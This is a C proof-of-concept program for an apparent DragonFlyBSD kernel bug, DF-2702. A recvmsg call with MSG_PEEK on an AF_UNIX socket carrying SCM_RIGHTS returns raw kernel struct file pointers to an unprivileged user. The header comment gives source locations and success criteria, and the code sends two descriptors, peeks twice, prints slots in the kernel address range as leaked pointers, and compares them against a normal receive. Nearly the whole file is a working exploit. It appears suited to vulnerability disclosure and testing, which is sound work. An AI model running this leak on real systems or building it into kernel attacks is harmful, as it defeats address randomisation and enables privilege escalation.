/*
 * DF-2702 — AF_UNIX SCM_RIGHTS kernel-pointer leak via recvmsg(MSG_PEEK)
 *
 * DragonFlyBSD soreceive() (sys/kern/uipc_socket.c:1421-1425) copies control
 * mbufs with m_copym() in its MSG_PEEK branch and NEVER calls
 * pr->pr_domain->dom_externalize() (unp_externalize, sys/kern/uipc_usrreq.c:1543).
 * An SCM_RIGHTS control mbuf queued in so_rcv still holds RAW kernel
 * `struct file *` pointers (put there by unp_internalize, uipc_usrreq.c:1817-1825),
 * so a MSG_PEEK receive copies those kernel heap pointers straight into the
 * user's control buffer.
 *
 * Unprivileged: only needs socketpair() + sendmsg(SCM_RIGHTS) + recvmsg(MSG_PEEK).
 *
 * Success criterion:
 *   - PEEK: cmsg_len == CMSG_LEN(2 * sizeof(void *)) == 32 on x86_64
 *     (internalized, pointer-sized entries) and both data slots hold values in
 *     the kernel virtual range (>= 0xffff800000000000), stable across repeated
 *     peeks of the same queued message.
 *   - Real (non-peek) recvmsg of the same queued message: cmsg_len == 24 and
 *     slots are small integers (the externalized fd numbers) — proving the
 *     pointers are an artifact of the skipped externalize in the PEEK path.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

static void
dump_ctl(const char *tag, struct msghdr *mh)
{
	printf("%s: controllen=%u flags=%#x\n", tag,
	    (unsigned)mh->msg_controllen, mh->msg_flags);

	for (struct cmsghdr *cm = CMSG_FIRSTHDR(mh); cm != NULL;
	     cm = CMSG_NXTHDR(mh, cm)) {
		unsigned char *d = (unsigned char *)CMSG_DATA(cm);
		size_t dl = cm->cmsg_len - (d - (unsigned char *)cm);

		printf("  cmsg len=%zu level=%d type=%d datalen=%zu\n",
		    cm->cmsg_len, cm->cmsg_level, cm->cmsg_type, dl);

		if (cm->cmsg_level == SOL_SOCKET && cm->cmsg_type == SCM_RIGHTS) {
			size_t slots = dl / sizeof(uint64_t);
			int kernel_ptr_seen = 0;

			printf("  SCM_RIGHTS entry size = %zu bytes "
			    "(sizeof(void*)=%zu, sizeof(int)=%zu)\n",
			    dl / (slots ? slots : 1), sizeof(void *), sizeof(int));
			for (size_t i = 0; i < slots; i++) {
				uint64_t v;

				memcpy(&v, d + i * sizeof(uint64_t), sizeof(v));
				printf("    slot[%zu] = 0x%016llx  %s\n", i,
				    (unsigned long long)v,
				    (v >= 0xffff800000000000ULL) ?
				    "<== RAW KERNEL POINTER" :
				    ((v < 100000) ? "(small int / fd)" : "(non-canonical garbage)"));
				if (v >= 0xffff800000000000ULL)
					kernel_ptr_seen = 1;
			}
			if (kernel_ptr_seen)
				printf("  >>> KERNEL POINTER LEAK CONFIRMED IN %s\n", tag);
		}
	}
}

int
main(void)
{
	int sv[2], extra, r;
	unsigned char cbuf[CMSG_SPACE(2 * sizeof(int))];

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
		perror("socketpair");
		return 1;
	}
	extra = open("/dev/null", O_RDONLY);
	if (extra < 0) {
		perror("open /dev/null");
		return 1;
	}

	/* Pass two fds: sv[0] and extra (two distinct struct file's). */
	memset(cbuf, 0, sizeof(cbuf));
	struct cmsghdr *cm = (struct cmsghdr *)cbuf;
	cm->cmsg_level = SOL_SOCKET;
	cm->cmsg_type = SCM_RIGHTS;
	cm->cmsg_len = CMSG_LEN(2 * sizeof(int));
	((int *)CMSG_DATA(cm))[0] = sv[0];
	((int *)CMSG_DATA(cm))[1] = extra;

	struct msghdr sh;
	memset(&sh, 0, sizeof(sh));
	char sdata = 'X';
	struct iovec siov = { &sdata, 1 };
	sh.msg_iov = &siov;
	sh.msg_iovlen = 1;
	sh.msg_control = cbuf;
	sh.msg_controllen = sizeof(cbuf);

	if (sendmsg(sv[0], &sh, 0) < 0) {
		perror("sendmsg");
		return 1;
	}
	printf("sent SCM_RIGHTS message with 2 fds "
	    "(user cmsg_len=%zu = CMSG_LEN(2*sizeof(int)))\n\n",
	    (size_t)CMSG_LEN(2 * sizeof(int)));

	/* Two PEEKs of the same queued message. */
	for (r = 0; r < 2; r++) {
		unsigned char rbuf[512];
		char dbuf[16];
		struct msghdr rh;

		memset(&rh, 0, sizeof(rh));
		memset(rbuf, 0, sizeof(rbuf));
		struct iovec riov = { dbuf, sizeof(dbuf) };
		rh.msg_iov = &riov;
		rh.msg_iovlen = 1;
		rh.msg_control = rbuf;
		rh.msg_controllen = sizeof(rbuf);

		ssize_t n = recvmsg(sv[1], &rh, MSG_PEEK | MSG_DONTWAIT);
		if (n < 0) {
			perror("recvmsg PEEK");
			return 1;
		}
		printf("=== PEEK #%d (n=%zd) ===\n", r, n);
		dump_ctl("PEEK", &rh);
		printf("\n");
	}

	/* Now the REAL receive — this goes through unp_externalize(). */
	{
		unsigned char rbuf[512];
		char dbuf[16];
		struct msghdr rh;

		memset(&rh, 0, sizeof(rh));
		memset(rbuf, 0, sizeof(rbuf));
		struct iovec riov = { dbuf, sizeof(dbuf) };
		rh.msg_iov = &riov;
		rh.msg_iovlen = 1;
		rh.msg_control = rbuf;
		rh.msg_controllen = sizeof(rbuf);

		ssize_t n = recvmsg(sv[1], &rh, MSG_DONTWAIT);
		if (n < 0) {
			perror("recvmsg");
			return 1;
		}
		printf("=== REAL RECV (n=%zd) ===\n", n);
		dump_ctl("REAL", &rh);

		/* Close whatever fds were handed over. */
		for (struct cmsghdr *c = CMSG_FIRSTHDR(&rh); c != NULL;
		     c = CMSG_NXTHDR(&rh, c)) {
			if (c->cmsg_level == SOL_SOCKET &&
			    c->cmsg_type == SCM_RIGHTS) {
				size_t k =
				    (c->cmsg_len - CMSG_LEN(0)) / sizeof(int);
				int *fd = (int *)CMSG_DATA(c);
				for (size_t i = 0; i < k; i++)
					close(fd[i]);
			}
		}
	}

	return 0;
}
